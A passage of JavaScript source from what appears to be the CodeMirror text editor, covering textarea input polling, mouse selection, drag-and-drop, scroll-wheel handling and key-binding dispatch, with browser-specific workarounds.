prevInput = cm.display.prevInput, doc = cm.doc;\n    // Since this is called a *lot*, try to bail out as cheaply as\n    // possible when it is clear that nothing happened. hasSelection\n    // will be the case when there is a lot of text in the textarea,\n    // in which case reading its value would be expensive.\n    if (!cm.state.focused || (hasSelection(input) && !prevInput) || isReadOnly(cm) || cm.options.disableInput)\n      return false;\n    // See paste handler for more on the fakedLastChar kludge\n    if (cm.state.pasteIncoming && cm.state.fakedLastChar) {\n      input.value = input.value.substring(0, input.value.length - 1);\n      cm.state.fakedLastChar = false;\n    }\n    var text = input.value;\n    // If nothing changed, bail.\n    if (text == prevInput && !cm.somethingSelected()) return false;\n    // Work around nonsensical selection resetting in IE9/10, and\n    // inexplicable appearance of private area unicode characters on\n    // some key combos in Mac (#2689).\n    if (ie && ie_version >= 9 && cm.display.inputHasSelection === text ||\n        mac && /[\\uf700-\\uf7ff]/.test(text)) {\n      resetInput(cm);\n      return false;\n    }\n\n    var withOp = !cm.curOp;\n    if (withOp) startOperation(cm);\n    cm.display.shift = false;\n\n    if (text.charCodeAt(0) == 0x200b && doc.sel == cm.display.selForContextMenu && !prevInput)\n      prevInput = \"\\u200b\";\n    // Find the part of the input that is actually new\n    var same = 0, l = Math.min(prevInput.length, text.length);\n    while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) ++same;\n    var inserted = text.slice(same), textLines = splitLines(inserted);\n\n    // When pasing N lines into N selections, insert one line per selection\n    var multiPaste = null;\n    if (cm.state.pasteIncoming && doc.sel.ranges.length > 1) {\n      if (lastCopied && lastCopied.join(\"\\n\") == inserted)\n        multiPaste = doc.sel.ranges.length % lastCopied.length == 0 && map(lastCopied, splitLines);\n      else if (textLines.length == doc.sel.ranges.length)\n        multiPaste = map(textLines, function(l) { return [l]; });\n    }\n\n    // Normal behavior is to insert the new text into every selection\n    for (var i = doc.sel.ranges.length - 1; i >= 0; i--) {\n      var range = doc.sel.ranges[i];\n      var from = range.from(), to = range.to();\n      // Handle deletion\n      if (same < prevInput.length)\n        from = Pos(from.line, from.ch - (prevInput.length - same));\n      // Handle overwrite\n      else if (cm.state.overwrite && range.empty() && !cm.state.pasteIncoming)\n        to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length));\n      var updateInput = cm.curOp.updateInput;\n      var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i % multiPaste.length] : textLines,\n                         origin: cm.state.pasteIncoming ? \"paste\" : cm.state.cutIncoming ? \"cut\" : \"+input\"};\n      makeChange(cm.doc, changeEvent);\n      signalLater(cm, \"inputRead\", cm, changeEvent);\n      // When an 'electric' character is inserted, immediately trigger a reindent\n      if (inserted && !cm.state.pasteIncoming && cm.options.electricChars &&\n          cm.options.smartIndent && range.head.ch < 100 &&\n          (!i || doc.sel.ranges[i - 1].head.line != range.head.line)) {\n        var mode = cm.getModeAt(range.head);\n        var end = changeEnd(changeEvent);\n        if (mode.electricChars) {\n          for (var j = 0; j < mode.electricChars.length; j++)\n            if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {\n              indentLine(cm, end.line, \"smart\");\n              break;\n            }\n        } else if (mode.electricInput) {\n          if (mode.electricInput.test(getLine(doc, end.line).text.slice(0, end.ch)))\n            indentLine(cm, end.line, \"smart\");\n        }\n      }\n    }\n    ensureCursorVisible(cm);\n    cm.curOp.updateInput = updateInput;\n    cm.curOp.typing = true;\n\n    // Don't leave long text in the textarea, since it makes further polling slow\n    if (text.length > 1000 || text.indexOf(\"\\n\") > -1) input.value = cm.display.prevInput = \"\";\n    else cm.display.prevInput = text;\n    if (withOp) endOperation(cm);\n    cm.state.pasteIncoming = cm.state.cutIncoming = false;\n    return true;\n  }\n\n  // Reset the input to correspond to the selection (or to be empty,\n  // when not typing and nothing is selected)\n  function resetInput(cm, typing) {\n    var minimal, selected, doc = cm.doc;\n    if (cm.somethingSelected()) {\n      cm.display.prevInput = \"\";\n      var range = doc.sel.primary();\n      minimal = hasCopyEvent &&\n        (range.to().line - range.from().line > 100 || (selected = cm.getSelection()).length > 1000);\n      var content = minimal ? \"-\" : selected || cm.getSelection();\n      cm.display.input.value = content;\n      if (cm.state.focused) selectInput(cm.display.input);\n      if (ie && ie_version >= 9) cm.display.inputHasSelection = content;\n    } else if (!typing) {\n      cm.display.prevInput = cm.display.input.value = \"\";\n      if (ie && ie_version >= 9) cm.display.inputHasSelection = null;\n    }\n    cm.display.inaccurateSelection = minimal;\n  }\n\n  function focusInput(cm) {\n    if (cm.options.readOnly != \"nocursor\" && (!mobile || activeElt() != cm.display.input))\n      cm.display.input.focus();\n  }\n\n  function ensureFocus(cm) {\n    if (!cm.state.focused) { focusInput(cm); onFocus(cm); }\n  }\n\n  function isReadOnly(cm) {\n    return cm.options.readOnly || cm.doc.cantEdit;\n  }\n\n  // EVENT HANDLERS\n\n  // Attach the necessary event handlers when initializing the editor\n  function registerEventHandlers(cm) {\n    var d = cm.display;\n    on(d.scroller, \"mousedown\", operation(cm, onMouseDown));\n    // Older IE's will not fire a second mousedown for a double click\n    if (ie && ie_version < 11)\n      on(d.scroller, \"dblclick\", operation(cm, function(e) {\n        if (signalDOMEvent(cm, e)) return;\n        var pos = posFromMouse(cm, e);\n        if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) return;\n        e_preventDefault(e);\n        var word = cm.findWordAt(pos);\n        extendSelection(cm.doc, word.anchor, word.head);\n      }));\n    else\n      on(d.scroller, \"dblclick\", function(e) { signalDOMEvent(cm, e) || e_preventDefault(e); });\n    // Prevent normal selection in the editor (we handle our own)\n    on(d.lineSpace, \"selectstart\", function(e) {\n      if (!eventInWidget(d, e)) e_preventDefault(e);\n    });\n    // Some browsers fire contextmenu *after* opening the menu, at\n    // which point we can't mess with it anymore. Context menu is\n    // handled in onMouseDown for these browsers.\n    if (!captureRightClick) on(d.scroller, \"contextmenu\", function(e) {onContextMenu(cm, e);});\n\n    // Sync scrolling between fake scrollbars and real scrollable\n    // area, ensure viewport is updated when scrolling.\n    on(d.scroller, \"scroll\", function() {\n      if (d.scroller.clientHeight) {\n        setScrollTop(cm, d.scroller.scrollTop);\n        setScrollLeft(cm, d.scroller.scrollLeft, true);\n        signal(cm, \"scroll\", cm);\n      }\n    });\n    on(d.scrollbarV, \"scroll\", function() {\n      if (d.scroller.clientHeight) setScrollTop(cm, d.scrollbarV.scrollTop);\n    });\n    on(d.scrollbarH, \"scroll\", function() {\n      if (d.scroller.clientHeight) setScrollLeft(cm, d.scrollbarH.scrollLeft);\n    });\n\n    // Listen to wheel events in order to try and update the viewport on time.\n    on(d.scroller, \"mousewheel\", function(e){onScrollWheel(cm, e);});\n    on(d.scroller, \"DOMMouseScroll\", function(e){onScrollWheel(cm, e);});\n\n    // Prevent clicks in the scrollbars from killing focus\n    function reFocus() { if (cm.state.focused) setTimeout(bind(focusInput, cm), 0); }\n    on(d.scrollbarH, \"mousedown\", reFocus);\n    on(d.scrollbarV, \"mousedown\", reFocus);\n    // Prevent wrapper from ever scrolling\n    on(d.wrapper, \"scroll\", function() { d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });\n\n    on(d.input, \"keyup\", function(e) { onKeyUp.call(cm, e); });\n    on(d.input, \"input\", function() {\n      if (ie && ie_version >= 9 && cm.display.inputHasSelection) cm.display.inputHasSelection = null;\n      fastPoll(cm);\n    });\n    on(d.input, \"keydown\", operation(cm, onKeyDown));\n    on(d.input, \"keypress\", operation(cm, onKeyPress));\n    on(d.input, \"focus\", bind(onFocus, cm));\n    on(d.input, \"blur\", bind(onBlur, cm));\n\n    function drag_(e) {\n      if (!signalDOMEvent(cm, e)) e_stop(e);\n    }\n    if (cm.options.dragDrop) {\n      on(d.scroller, \"dragstart\", function(e){onDragStart(cm, e);});\n      on(d.scroller, \"dragenter\", drag_);\n      on(d.scroller, \"dragover\", drag_);\n      on(d.scroller, \"drop\", operation(cm, onDrop));\n    }\n    on(d.scroller, \"paste\", function(e) {\n      if (eventInWidget(d, e)) return;\n      cm.state.pasteIncoming = true;\n      focusInput(cm);\n      fastPoll(cm);\n    });\n    on(d.input, \"paste\", function() {\n      // Workaround for webkit bug https://bugs.webkit.org/show_bug.cgi?id=90206\n      // Add a char to the end of textarea before paste occur so that\n      // selection doesn't span to the end of textarea.\n      if (webkit && !cm.state.fakedLastChar && !(new Date - cm.state.lastMiddleDown < 200)) {\n        var start = d.input.selectionStart, end = d.input.selectionEnd;\n        d.input.value += \"$\";\n        // The selection end needs to be set before the start, otherwise there\n        // can be an intermediate non-empty selection between the two, which\n        // can override the middle-click paste buffer on linux and cause the\n        // wrong thing to get pasted.\n        d.input.selectionEnd = end;\n        d.input.selectionStart = start;\n        cm.state.fakedLastChar = true;\n      }\n      cm.state.pasteIncoming = true;\n      fastPoll(cm);\n    });\n\n    function prepareCopyCut(e) {\n      if (cm.somethingSelected()) {\n        lastCopied = cm.getSelections();\n        if (d.inaccurateSelection) {\n          d.prevInput = \"\";\n          d.inaccurateSelection = false;\n          d.input.value = lastCopied.join(\"\\n\");\n          selectInput(d.input);\n        }\n      } else {\n        var text = [], ranges = [];\n        for (var i = 0; i < cm.doc.sel.ranges.length; i++) {\n          var line = cm.doc.sel.ranges[i].head.line;\n          var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};\n          ranges.push(lineRange);\n          text.push(cm.getRange(lineRange.anchor, lineRange.head));\n        }\n        if (e.type == \"cut\") {\n          cm.setSelections(ranges, null, sel_dontScroll);\n        } else {\n          d.prevInput = \"\";\n          d.input.value = text.join(\"\\n\");\n          selectInput(d.input);\n        }\n        lastCopied = text;\n      }\n      if (e.type == \"cut\") cm.state.cutIncoming = true;\n    }\n    on(d.input, \"cut\", prepareCopyCut);\n    on(d.input, \"copy\", prepareCopyCut);\n\n    // Needed to handle Tab key in KHTML\n    if (khtml) on(d.sizer, \"mouseup\", function() {\n      if (activeElt() == d.input) d.input.blur();\n      focusInput(cm);\n    });\n  }\n\n  // Called when the window resizes\n  function onResize(cm) {\n    // Might be a text scaling operation, clear size caches.\n    var d = cm.display;\n    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n    cm.setSize();\n  }\n\n  // MOUSE EVENTS\n\n  // Return true when the given mouse event happened in a widget\n  function eventInWidget(display, e) {\n    for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {\n      if (!n || n.ignoreEvents || n.parentNode == display.sizer && n != display.mover) return true;\n    }\n  }\n\n  // Given a mouse event, find the corresponding position. If liberal\n  // is false, it checks whether a gutter or scrollbar was clicked,\n  // and returns null if it was. forRect is used by rectangular\n  // selections, and tries to estimate a character position even for\n  // coordinates beyond the right of the text.\n  function posFromMouse(cm, e, liberal, forRect) {\n    var display = cm.display;\n    if (!liberal) {\n      var target = e_target(e);\n      if (target == display.scrollbarH || target == display.scrollbarV ||\n          target == display.scrollbarFiller || target == display.gutterFiller) return null;\n    }\n    var x, y, space = display.lineSpace.getBoundingClientRect();\n    // Fails unpredictably on IE[67] when mouse is dragged around quickly.\n    try { x = e.clientX - space.left; y = e.clientY - space.top; }\n    catch (e) { return null; }\n    var coords = coordsChar(cm, x, y), line;\n    if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {\n      var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;\n      coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));\n    }\n    return coords;\n  }\n\n  // A mouse down can be a single click, double click, triple click,\n  // start of selection drag, start of text drag, new cursor\n  // (ctrl-click), rectangle drag (alt-drag), or xwin\n  // middle-click-paste. Or it might be a click on something we should\n  // not interfere with, such as a scrollbar or widget.\n  function onMouseDown(e) {\n    if (signalDOMEvent(this, e)) return;\n    var cm = this, display = cm.display;\n    display.shift = e.shiftKey;\n\n    if (eventInWidget(display, e)) {\n      if (!webkit) {\n        // Briefly turn off draggability, to allow widgets to do\n        // normal dragging things.\n        display.scroller.draggable = false;\n        setTimeout(function(){display.scroller.draggable = true;}, 100);\n      }\n      return;\n    }\n    if (clickInGutter(cm, e)) return;\n    var start = posFromMouse(cm, e);\n    window.focus();\n\n    switch (e_button(e)) {\n    case 1:\n      if (start)\n        leftButtonDown(cm, e, start);\n      else if (e_target(e) == display.scroller)\n        e_preventDefault(e);\n      break;\n    case 2:\n      if (webkit) cm.state.lastMiddleDown = +new Date;\n      if (start) extendSelection(cm.doc, start);\n      setTimeout(bind(focusInput, cm), 20);\n      e_preventDefault(e);\n      break;\n    case 3:\n      if (captureRightClick) onContextMenu(cm, e);\n      break;\n    }\n  }\n\n  var lastClick, lastDoubleClick;\n  function leftButtonDown(cm, e, start) {\n    setTimeout(bind(ensureFocus, cm), 0);\n\n    var now = +new Date, type;\n    if (lastDoubleClick && lastDoubleClick.time > now - 400 && cmp(lastDoubleClick.pos, start) == 0) {\n      type = \"triple\";\n    } else if (lastClick && lastClick.time > now - 400 && cmp(lastClick.pos, start) == 0) {\n      type = \"double\";\n      lastDoubleClick = {time: now, pos: start};\n    } else {\n      type = \"single\";\n      lastClick = {time: now, pos: start};\n    }\n\n    var sel = cm.doc.sel, modifier = mac ? e.metaKey : e.ctrlKey;\n    if (cm.options.dragDrop && dragAndDrop && !isReadOnly(cm) &&\n        type == \"single\" && sel.contains(start) > -1 && sel.somethingSelected())\n      leftButtonStartDrag(cm, e, start, modifier);\n    else\n      leftButtonSelect(cm, e, start, type, modifier);\n  }\n\n  // Start a text drag. When it ends, see if any dragging actually\n  // happen, and treat as a click if it didn't.\n  function leftButtonStartDrag(cm, e, start, modifier) {\n    var display = cm.display;\n    var dragEnd = operation(cm, function(e2) {\n      if (webkit) display.scroller.draggable = false;\n      cm.state.draggingText = false;\n      off(document, \"mouseup\", dragEnd);\n      off(display.scroller, \"drop\", dragEnd);\n      if (Math.abs(e.clientX - e2.clientX) + Math.abs(e.clientY - e2.clientY) < 10) {\n        e_preventDefault(e2);\n        if (!modifier)\n          extendSelection(cm.doc, start);\n        focusInput(cm);\n        // Work around unexplainable focus problem in IE9 (#2127)\n        if (ie && ie_version == 9)\n          setTimeout(function() {document.body.focus(); focusInput(cm);}, 20);\n      }\n    });\n    // Let the drag handler handle this.\n    if (webkit) display.scroller.draggable = true;\n    cm.state.draggingText = dragEnd;\n    // IE's approach to draggable\n    if (display.scroller.dragDrop) display.scroller.dragDrop();\n    on(document, \"mouseup\", dragEnd);\n    on(display.scroller, \"drop\", dragEnd);\n  }\n\n  // Normal selection, as opposed to text dragging.\n  function leftButtonSelect(cm, e, start, type, addNew) {\n    var display = cm.display, doc = cm.doc;\n    e_preventDefault(e);\n\n    var ourRange, ourIndex, startSel = doc.sel;\n    if (addNew && !e.shiftKey) {\n      ourIndex = doc.sel.contains(start);\n      if (ourIndex > -1)\n        ourRange = doc.sel.ranges[ourIndex];\n      else\n        ourRange = new Range(start, start);\n    } else {\n      ourRange = doc.sel.primary();\n    }\n\n    if (e.altKey) {\n      type = \"rect\";\n      if (!addNew) ourRange = new Range(start, start);\n      start = posFromMouse(cm, e, true, true);\n      ourIndex = -1;\n    } else if (type == \"double\") {\n      var word = cm.findWordAt(start);\n      if (cm.display.shift || doc.extend)\n        ourRange = extendRange(doc, ourRange, word.anchor, word.head);\n      else\n        ourRange = word;\n    } else if (type == \"triple\") {\n      var line = new Range(Pos(start.line, 0), clipPos(doc, Pos(start.line + 1, 0)));\n      if (cm.display.shift || doc.extend)\n        ourRange = extendRange(doc, ourRange, line.anchor, line.head);\n      else\n        ourRange = line;\n    } else {\n      ourRange = extendRange(doc, ourRange, start);\n    }\n\n    if (!addNew) {\n      ourIndex = 0;\n      setSelection(doc, new Selection([ourRange], 0), sel_mouse);\n      startSel = doc.sel;\n    } else if (ourIndex > -1) {\n      replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);\n    } else {\n      ourIndex = doc.sel.ranges.length;\n      setSelection(doc, normalizeSelection(doc.sel.ranges.concat([ourRange]), ourIndex),\n                   {scroll: false, origin: \"*mouse\"});\n    }\n\n    var lastPos = start;\n    function extendTo(pos) {\n      if (cmp(lastPos, pos) == 0) return;\n      lastPos = pos;\n\n      if (type == \"rect\") {\n        var ranges = [], tabSize = cm.options.tabSize;\n        var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);\n        var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);\n        var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);\n        for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));\n             line <= end; line++) {\n          var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);\n          if (left == right)\n            ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos)));\n          else if (text.length > leftPos)\n            ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize))));\n        }\n        if (!ranges.length) ranges.push(new Range(start, start));\n        setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),\n                     {origin: \"*mouse\", scroll: false});\n        cm.scrollIntoView(pos);\n      } else {\n        var oldRange = ourRange;\n        var anchor = oldRange.anchor, head = pos;\n        if (type != \"single\") {\n          if (type == \"double\")\n            var range = cm.findWordAt(pos);\n          else\n            var range = new Range(Pos(pos.line, 0), clipPos(doc, Pos(pos.line + 1, 0)));\n          if (cmp(range.anchor, anchor) > 0) {\n            head = range.head;\n            anchor = minPos(oldRange.from(), range.anchor);\n          } else {\n            head = range.anchor;\n            anchor = maxPos(oldRange.to(), range.head);\n          }\n        }\n        var ranges = startSel.ranges.slice(0);\n        ranges[ourIndex] = new Range(clipPos(doc, anchor), head);\n        setSelection(doc, normalizeSelection(ranges, ourIndex), sel_mouse);\n      }\n    }\n\n    var editorSize = display.wrapper.getBoundingClientRect();\n    // Used to ensure timeout re-tries don't fire when another extend\n    // happened in the meantime (clearTimeout isn't reliable -- at\n    // least on Chrome, the timeouts still happen even when cleared,\n    // if the clear happens after their scheduled firing time).\n    var counter = 0;\n\n    function extend(e) {\n      var curCount = ++counter;\n      var cur = posFromMouse(cm, e, true, type == \"rect\");\n      if (!cur) return;\n      if (cmp(cur, lastPos) != 0) {\n        ensureFocus(cm);\n        extendTo(cur);\n        var visible = visibleLines(display, doc);\n        if (cur.line >= visible.to || cur.line < visible.from)\n          setTimeout(operation(cm, function(){if (counter == curCount) extend(e);}), 150);\n      } else {\n        var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;\n        if (outside) setTimeout(operation(cm, function() {\n          if (counter != curCount) return;\n          display.scroller.scrollTop += outside;\n          extend(e);\n        }), 50);\n      }\n    }\n\n    function done(e) {\n      counter = Infinity;\n      e_preventDefault(e);\n      focusInput(cm);\n      off(document, \"mousemove\", move);\n      off(document, \"mouseup\", up);\n      doc.history.lastSelOrigin = null;\n    }\n\n    var move = operation(cm, function(e) {\n      if (!e_button(e)) done(e);\n      else extend(e);\n    });\n    var up = operation(cm, done);\n    on(document, \"mousemove\", move);\n    on(document, \"mouseup\", up);\n  }\n\n  // Determines whether an event happened in the gutter, and fires the\n  // handlers for the corresponding event.\n  function gutterEvent(cm, e, type, prevent, signalfn) {\n    try { var mX = e.clientX, mY = e.clientY; }\n    catch(e) { return false; }\n    if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) return false;\n    if (prevent) e_preventDefault(e);\n\n    var display = cm.display;\n    var lineBox = display.lineDiv.getBoundingClientRect();\n\n    if (mY > lineBox.bottom || !hasHandler(cm, type)) return e_defaultPrevented(e);\n    mY -= lineBox.top - display.viewOffset;\n\n    for (var i = 0; i < cm.options.gutters.length; ++i) {\n      var g = display.gutters.childNodes[i];\n      if (g && g.getBoundingClientRect().right >= mX) {\n        var line = lineAtHeight(cm.doc, mY);\n        var gutter = cm.options.gutters[i];\n        signalfn(cm, type, cm, line, gutter, e);\n        return e_defaultPrevented(e);\n      }\n    }\n  }\n\n  function clickInGutter(cm, e) {\n    return gutterEvent(cm, e, \"gutterClick\", true, signalLater);\n  }\n\n  // Kludge to work around strange IE behavior where it'll sometimes\n  // re-fire a series of drag-related events right after the drop (#1551)\n  var lastDrop = 0;\n\n  function onDrop(e) {\n    var cm = this;\n    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))\n      return;\n    e_preventDefault(e);\n    if (ie) lastDrop = +new Date;\n    var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;\n    if (!pos || isReadOnly(cm)) return;\n    // Might be a file drop, in which case we simply extract the text\n    // and insert it.\n    if (files && files.length && window.FileReader && window.File) {\n      var n = files.length, text = Array(n), read = 0;\n      var loadFile = function(file, i) {\n        var reader = new FileReader;\n        reader.onload = operation(cm, function() {\n          text[i] = reader.result;\n          if (++read == n) {\n            pos = clipPos(cm.doc, pos);\n            var change = {from: pos, to: pos, text: splitLines(text.join(\"\\n\")), origin: \"paste\"};\n            makeChange(cm.doc, change);\n            setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change)));\n          }\n        });\n        reader.readAsText(file);\n      };\n      for (var i = 0; i < n; ++i) loadFile(files[i], i);\n    } else { // Normal drop\n      // Don't do a replace if the drop happened inside of the selected text.\n      if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {\n        cm.state.draggingText(e);\n        // Ensure the editor is re-focused\n        setTimeout(bind(focusInput, cm), 20);\n        return;\n      }\n      try {\n        var text = e.dataTransfer.getData(\"Text\");\n        if (text) {\n          if (cm.state.draggingText && !(mac ? e.metaKey : e.ctrlKey))\n            var selected = cm.listSelections();\n          setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));\n          if (selected) for (var i = 0; i < selected.length; ++i)\n            replaceRange(cm.doc, \"\", selected[i].anchor, selected[i].head, \"drag\");\n          cm.replaceSelection(text, \"around\", \"paste\");\n          focusInput(cm);\n        }\n      }\n      catch(e){}\n    }\n  }\n\n  function onDragStart(cm, e) {\n    if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return; }\n    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return;\n\n    e.dataTransfer.setData(\"Text\", cm.getSelection());\n\n    // Use dummy image instead of default browsers image.\n    // Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.\n    if (e.dataTransfer.setDragImage && !safari) {\n      var img = elt(\"img\", null, null, \"position: fixed; left: 0; top: 0;\");\n      img.src = \"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\";\n      if (presto) {\n        img.width = img.height = 1;\n        cm.display.wrapper.appendChild(img);\n        // Force a relayout, or Opera won't use our image for some obscure reason\n        img._top = img.offsetTop;\n      }\n      e.dataTransfer.setDragImage(img, 0, 0);\n      if (presto) img.parentNode.removeChild(img);\n    }\n  }\n\n  // SCROLL EVENTS\n\n  // Sync the scrollable area and scrollbars, ensure the viewport\n  // covers the visible area.\n  function setScrollTop(cm, val) {\n    if (Math.abs(cm.doc.scrollTop - val) < 2) return;\n    cm.doc.scrollTop = val;\n    if (!gecko) updateDisplaySimple(cm, {top: val});\n    if (cm.display.scroller.scrollTop != val) cm.display.scroller.scrollTop = val;\n    if (cm.display.scrollbarV.scrollTop != val) cm.display.scrollbarV.scrollTop = val;\n    if (gecko) updateDisplaySimple(cm);\n    startWorker(cm, 100);\n  }\n  // Sync scroller and scrollbar, ensure the gutter elements are\n  // aligned.\n  function setScrollLeft(cm, val, isScroller) {\n    if (isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) return;\n    val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth);\n    cm.doc.scrollLeft = val;\n    alignHorizontally(cm);\n    if (cm.display.scroller.scrollLeft != val) cm.display.scroller.scrollLeft = val;\n    if (cm.display.scrollbarH.scrollLeft != val) cm.display.scrollbarH.scrollLeft = val;\n  }\n\n  // Since the delta values reported on mouse wheel events are\n  // unstandardized between browsers and even browser versions, and\n  // generally horribly unpredictable, this code starts by measuring\n  // the scroll effect that the first few mouse wheel events have,\n  // and, from that, detects the way it can convert deltas to pixel\n  // offsets afterwards.\n  //\n  // The reason we want to know the amount a wheel event will scroll\n  // is that it gives us a chance to update the display before the\n  // actual scrolling happens, reducing flickering.\n\n  var wheelSamples = 0, wheelPixelsPerUnit = null;\n  // Fill in a browser-detected starting value on browsers where we\n  // know one. These don't have to be accurate -- the result of them\n  // being wrong would just be a slight flicker on the first wheel\n  // scroll (if it is large enough).\n  if (ie) wheelPixelsPerUnit = -.53;\n  else if (gecko) wheelPixelsPerUnit = 15;\n  else if (chrome) wheelPixelsPerUnit = -.7;\n  else if (safari) wheelPixelsPerUnit = -1/3;\n\n  function onScrollWheel(cm, e) {\n    var dx = e.wheelDeltaX, dy = e.wheelDeltaY;\n    if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail;\n    if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail;\n    else if (dy == null) dy = e.wheelDelta;\n\n    var display = cm.display, scroll = display.scroller;\n    // Quit if there's nothing to scroll here\n    if (!(dx && scroll.scrollWidth > scroll.clientWidth ||\n          dy && scroll.scrollHeight > scroll.clientHeight)) return;\n\n    // Webkit browsers on OS X abort momentum scrolls when the target\n    // of the scroll event is removed from the scrollable element.\n    // This hack (see related code in patchDisplay) makes sure the\n    // element is kept around.\n    if (dy && mac && webkit) {\n      outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {\n        for (var i = 0; i < view.length; i++) {\n          if (view[i].node == cur) {\n            cm.display.currentWheelTarget = cur;\n            break outer;\n          }\n        }\n      }\n    }\n\n    // On some browsers, horizontal scrolling will cause redraws to\n    // happen before the gutter has been realigned, causing it to\n    // wriggle around in a most unseemly way. When we have an\n    // estimated pixels/delta value, we just handle horizontal\n    // scrolling entirely here. It'll be slightly off from native, but\n    // better than glitching out.\n    if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {\n      if (dy)\n        setScrollTop(cm, Math.max(0, Math.min(scroll.scrollTop + dy * wheelPixelsPerUnit, scroll.scrollHeight - scroll.clientHeight)));\n      setScrollLeft(cm, Math.max(0, Math.min(scroll.scrollLeft + dx * wheelPixelsPerUnit, scroll.scrollWidth - scroll.clientWidth)));\n      e_preventDefault(e);\n      display.wheelStartX = null; // Abort measurement, if in progress\n      return;\n    }\n\n    // 'Project' the visible viewport to cover the area that is being\n    // scrolled into view (if we know enough to estimate it).\n    if (dy && wheelPixelsPerUnit != null) {\n      var pixels = dy * wheelPixelsPerUnit;\n      var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;\n      if (pixels < 0) top = Math.max(0, top + pixels - 50);\n      else bot = Math.min(cm.doc.height, bot + pixels + 50);\n      updateDisplaySimple(cm, {top: top, bottom: bot});\n    }\n\n    if (wheelSamples < 20) {\n      if (display.wheelStartX == null) {\n        display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;\n        display.wheelDX = dx; display.wheelDY = dy;\n        setTimeout(function() {\n          if (display.wheelStartX == null) return;\n          var movedX = scroll.scrollLeft - display.wheelStartX;\n          var movedY = scroll.scrollTop - display.wheelStartY;\n          var sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||\n            (movedX && display.wheelDX && movedX / display.wheelDX);\n          display.wheelStartX = display.wheelStartY = null;\n          if (!sample) return;\n          wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);\n          ++wheelSamples;\n        }, 200);\n      } else {\n        display.wheelDX += dx; display.wheelDY += dy;\n      }\n    }\n  }\n\n  // KEY EVENTS\n\n  // Run a handler that was bound to a key.\n  function doHandleBinding(cm, bound, dropShift) {\n    if (typeof bound == \"string\") {\n      bound = commands[bound];\n      if (!bound) return false;\n    }\n    // Ensure previous input has been read, so that the handler sees a\n    // consistent view of the document\n    if (cm.display.pollingFast && readInput(cm)) cm.display.pollingFast = false;\n    var prevShift = cm.display.shift, done = false;\n    try {\n      if (isReadOnly(cm)) cm.state.suppressEdits = true;\n      if (dropShift) cm.display.shift = false;\n      done = bound(cm) != Pass;\n    } finally {\n      cm.display.shift = prevShift;\n      cm.state.suppressEdits = false;\n    }\n    return done;\n  }\n\n  // Collect the currently active keymaps.\n  function allKeyMaps(cm) {\n    var maps = cm.state.keyMaps.slice(0);\n    if (cm.options.extraKeys) maps.push(cm.options.extraKeys);\n    maps.push(cm.options.keyMap);\n    return maps;\n  }\n\n  var maybeTransition;\n  // Handle a key from the keydown event.\n  function handleKeyBinding(cm, e) {\n    // Handle automatic keymap transitions\n    var startMap = getKeyMap(cm.options.keyMap), next = startMap.auto;\n    clearTimeout(maybeTransition);\n    if (next && !isModifierKey(e)) maybeTransition = setTimeout(function() {\n      if (getKeyMap(cm.options.keyMap) == startMap) {\n        cm.options.keyMap = (next.call ? next.call(null, cm) : next);\n        keyMapChanged(cm);\n      }\n    }, 50);\n\n    var name = keyName(e, true), handled = false;\n    if (!name) return false;\n    var keymaps = allKeyMaps(cm);\n\n    if (e.shiftKey) {\n      // First try to resolve full name (including 'Shift-'). Failing\n      // that, see if there is a cursor-motion command (starting with\n      // 'go') bound to the keyname without 'Shift-'.\n      handled = lookupKey(\"Shift-\" + name, keymaps, function(b) {return doHandleBinding(cm, b, true);})\n             || lookupKey(name, keymaps, function(b) {\n                  if (typeof b == \"string\" ? /^go[A-Z]/.test(b) : b.motion)\n                    return doHandleBinding(cm, b);\n                });\n    } else {\n      handled = lookupKey(name, keymaps, function(b) { return doHandleBinding(cm, b); });\n    }\n\n    if (handled) {\n      e_preventDefault(e);\n      restartBlink(cm);\n      signalLater(cm, \"keyHandled\", 